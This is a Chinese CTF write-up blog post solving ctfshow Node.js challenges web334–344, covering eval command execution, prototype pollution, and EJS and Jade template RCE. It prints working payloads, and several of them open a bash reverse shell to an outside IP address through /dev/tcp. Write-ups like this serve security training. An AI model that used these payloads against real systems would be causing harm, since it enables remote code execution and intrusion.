• 【Web】Ctfshow Nodejs刷题记录


    目录

    ①web334

    ②web335

    ③web336

    ④web337

    ⑤web338

    ⑥web339

    ⑦web340

    ⑧web341

    ⑨web342-343

    ⑩web344


    ①web334

    进来是一个登录界面

    下载附件,简单代码审计

    表单传ctfshow 123456即可

    ②web335

    进来提示

    get上传eval参数执行nodejs代码

    payload:

    ?eval=require('child_process').execSync('tac f*').toString() 

    ③web336

    ?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

    (不能使用通配符)

    ④web337

    上来给到源码

    ?a[x]=1&b[x]=2 

    1. a={'x':'1'}
    2. b={'x':'2'}
    3. console.log(a+"flag{xxx}")
    4. console.log(b+"flag{xxx}")
    5. 二者得出的结果都是[object Object]flag{xxx},所以md5值也相同

     

    ⑤web338

    进来拿到源码

    贴两段关键的

    login.js

    1. var express = require('express');
    2. var router = express.Router();
    3. var utils = require('../utils/common');
    4. /* GET home page. */
    5. router.post('/', require('body-parser').json(),function(req, res, next) {
    6. res.type('html');
    7. var flag='flag_here';
    8. var secert = {};
    9. var sess = req.session;
    10. let user = {};
    11. utils.copy(user,req.body);
    12. if(secert.ctfshow==='36dboy'){
    13. res.end(flag);
    14. }else{
    15. return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
    16. }
    17. });
    18. module.exports = router;

     common.js

    1. module.exports = {
    2. copy:copy
    3. };
    4. function copy(object1, object2){
    5. for (let key in object2) {
    6. if (key in object2 && key in object1) {
    7. copy(object1[key], object2[key])
    8. } else {
    9. object1[key] = object2[key]
    10. }
    11. }
    12. }

     考的是原型链污染

    payload:

    {"a":1,"__proto__":{"ctfshow":"36dboy"}}

    ⑥web339

    关键代码

    api.js

    1. var express = require('express');
    2. var router = express.Router();
    3. var utils = require('../utils/common');
    4. /* GET home page. */
    5. router.post('/', require('body-parser').json(),function(req, res, next) {
    6. res.type('html');
    7. res.render('api', { query: Function(query)(query)});
    8. });
    9. module.exports = router;

    login.js

    1. var express = require('express');
    2. var router = express.Router();
    3. var utils = require('../utils/common');
    4. function User(){
    5. this.username='';
    6. this.password='';
    7. }
    8. function normalUser(){
    9. this.user
    10. }
    11. /* GET home page. */
    12. router.post('/', require('body-parser').json(),function(req, res, next) {
    13. res.type('html');
    14. var flag='flag_here';
    15. var secert = {};
    16. var sess = req.session;
    17. let user = {};
    18. utils.copy(user,req.body);
    19. if(secert.ctfshow===flag){
    20. res.end(flag);
    21. }else{
    22. return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
    23. }
    24. });
    25. module.exports = router;

    flag值未知,用上一题的思路走不通

    这时候看api.js的代码,发现存在可以在login污染query参数 再在api利用Function反弹shell

    Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新的函数可以接受任意数量的参数并执行query字符串中的JavaScript代码。
    而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个语句的结果。

    贴出payload

    {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"')"}}

     在login污染

     在api触发

     

    ⑦web340

    贴出不一样的地方

    login.js

    1. var express = require('express');
    2. var router = express.Router();
    3. var utils = require('../utils/common');
    4. /* GET home page. */
    5. router.post('/', require('body-parser').json(),function(req, res, next) {
    6. res.type('html');
    7. var flag='flag_here';
    8. var user = new function(){
    9. this.userinfo = new function(){
    10. this.isVIP = false;
    11. this.isAdmin = false;
    12. this.isAuthor = false;
    13. };
    14. }
    15. utils.copy(user.userinfo,req.body);
    16. if(user.userinfo.isAdmin){
    17. res.end(flag);
    18. }else{
    19. return res.json({ret_code: 2, ret_msg: '登录失败'});
    20. }
    21. });
    22. module.exports = router;

    这里要注意的是,user.userinfo.isAdmin原本就存在,不会向上找,修改Object.isAdmin无用

    所以还得利用api反弹shell

    但这次要污染两层

    payload:

    {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"')"}}}

     

    ⑧web341

    我测,api没了还有啥利用点

    在app.js中发现是ejs

     直接ejs rce梭了

    payload:

    {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');var __tmp2"}}}
    

    printenv查看环境变量可以看到flag

    ⑨web342-343

    在app.js中发现是jade

     直接用jade rce payload

    {"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');//"}}}

    注意这里发包时要设置Content-Type: application/json

    ⑩web344

     理想的payload:

    ?query={"name":"admin","password":"ctfshow","isVIP":true}

    为了绕过","过滤

    补充前置知识

    nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析

    因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式 ,所以要编码c

    最终payload:

    ?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

  • 相关阅读:
    C语言数据类型转换
    Nvidia Deepstream Python Queue 多线程操作
    2023年11月数据库流行度最新排名
    JAVA计算机毕业设计手办销售系统源码+系统+mysql数据库+lw文档
    django小区居民出入申报系统Vue+flask疫情防控社区疫苗预约系统python
    计算机网络 |内网穿透
    学位论文选题原则
    Keras CIFAR-10分类 SVM 分类器篇
    计算机网络性能
    Sentry Relay 二次开发调试简介
  • 原文地址:https://blog.csdn.net/uuzeray/article/details/134514303